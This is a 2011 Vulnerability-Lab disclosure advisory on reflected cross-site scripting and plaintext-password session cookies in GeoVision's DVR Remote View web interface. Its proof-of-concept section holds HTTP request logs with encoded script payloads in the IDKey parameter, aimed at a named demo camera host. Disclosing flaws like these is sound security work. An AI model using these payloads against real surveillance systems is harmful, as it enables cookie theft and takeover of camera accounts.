Document Title: =============== GeoVision DVR Remote View - Multiple Web Vulnerabilities Release Date: ============= 2011-09-12 Vulnerability Laboratory ID (VL-ID): ==================================== 51 Product & Service Introduction: =============================== Geovision is a very famous taiwanese surveillance company for high infrastructure security & asian governments. View Demo: http://www.camerasecuritynow.com/LiveDemo.asp Abstract Advisory Information: ============================== Vulnerability-Lab team discovers a session handling vulnerability & multiple non-persistent bugs in GeoVisions CCTV DVR application. Vulnerability Disclosure Timeline: ================================== 2011-07-03: Vendor Notification 2011-**-**: Vendor Response/Feedback 2011-**-**: Vendor Fix/Patch 2011-09-13: Public or Non-Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple persistent & non-persistent vulnerabilities are detected on Geovosions DVR Remote View Center. The vulnerability allows an remote attacker to read the passwords out of the session data in plain with low required user inter action. The vulnerability is detected on the web frontend of the surveillance dvr software application. Vulnerable Module(s): [+] MPG4 Converter [+] JPGViewer Parameters [+] Option_EXT Module Pictures: ../1.png ../2.png ../3.png Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attacker with low required user inter action. For example or reproduce ... 1 2:02:56.109[0ms][total 0ms] Status: Loaded from cache[Loaded from cache] GET http://cam2.camerasecuritynow.com/JpegView.htm?IDKey=76835c86-4e4d-4a59-8d5b-84347bfe7a3c%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E Load Flags[LOAD_ONLY_FROM_CACHE LOAD_FROM_CACHE VALIDATE_NEVER ] Content Size[-1] Mime Type[unknown] Request Headers: Host[cam2.camerasecuritynow.com] User-Agent[Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-us,en;q=0.5] Accept-Encoding[gzip,deflate] Accept-Charset[ISO-8859-1,utf-8;q=0.7,*;q=0.7] Keep-Alive[115] Connection[keep-alive] Cookie[id=Demo; pwd=Demo; remember=0] Response Headers: 2 http://cam2.camerasecuritynow.com/Option_ext.htm?IDKey=76835c86-4e4d-4a59-8d5b-84347bfe7a3c%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E 3:57:23.547[671ms][total 671ms] Status: 200[OK] GET http://cam2.camerasecuritynow.com/LanMpegView0_QT.htm?IDKey=423d5c0c-f437-44b7-9df2-9c99d027b2e7 Load Flags[LOAD_DOCUMENT_URI ] Content Size[5070] Mime Type[text/html] Request Headers: Host[cam2.camerasecuritynow.com] User-Agent[Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-us,en;q=0.5] Accept-Encoding[gzip,deflate] Accept-Charset[ISO-8859-1,utf-8;q=0.7,*;q=0.7] Keep-Alive[115] Connection[keep-alive] Cookie[id=Demo; pwd=Demo; remember=0; __utma=31549484.1923499197.1275696670.1275696670.1275696670.1; __utmc=31549484; __utmz=31549484.1275696670.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)] Response Headers: Server[GeoHttpServer] Date[Sat, 05 Jun 2010 01:57:29 GMT] Content-Type[text/html] Content-Length[5070] Authentication[test] Last-Modified[Fri, 04 Jun 2010 21:57:29 GMT] View also the poc ... ../GeoVision DVR.txt ../JpegView.htm ../LanMpegView0_QT.htm ../Option_ext.htm Security Risk: ============== The security risk of the vulnerability is estimated as high because of plain transfered passwords in the session(cookie). Credits & Authors: ================== Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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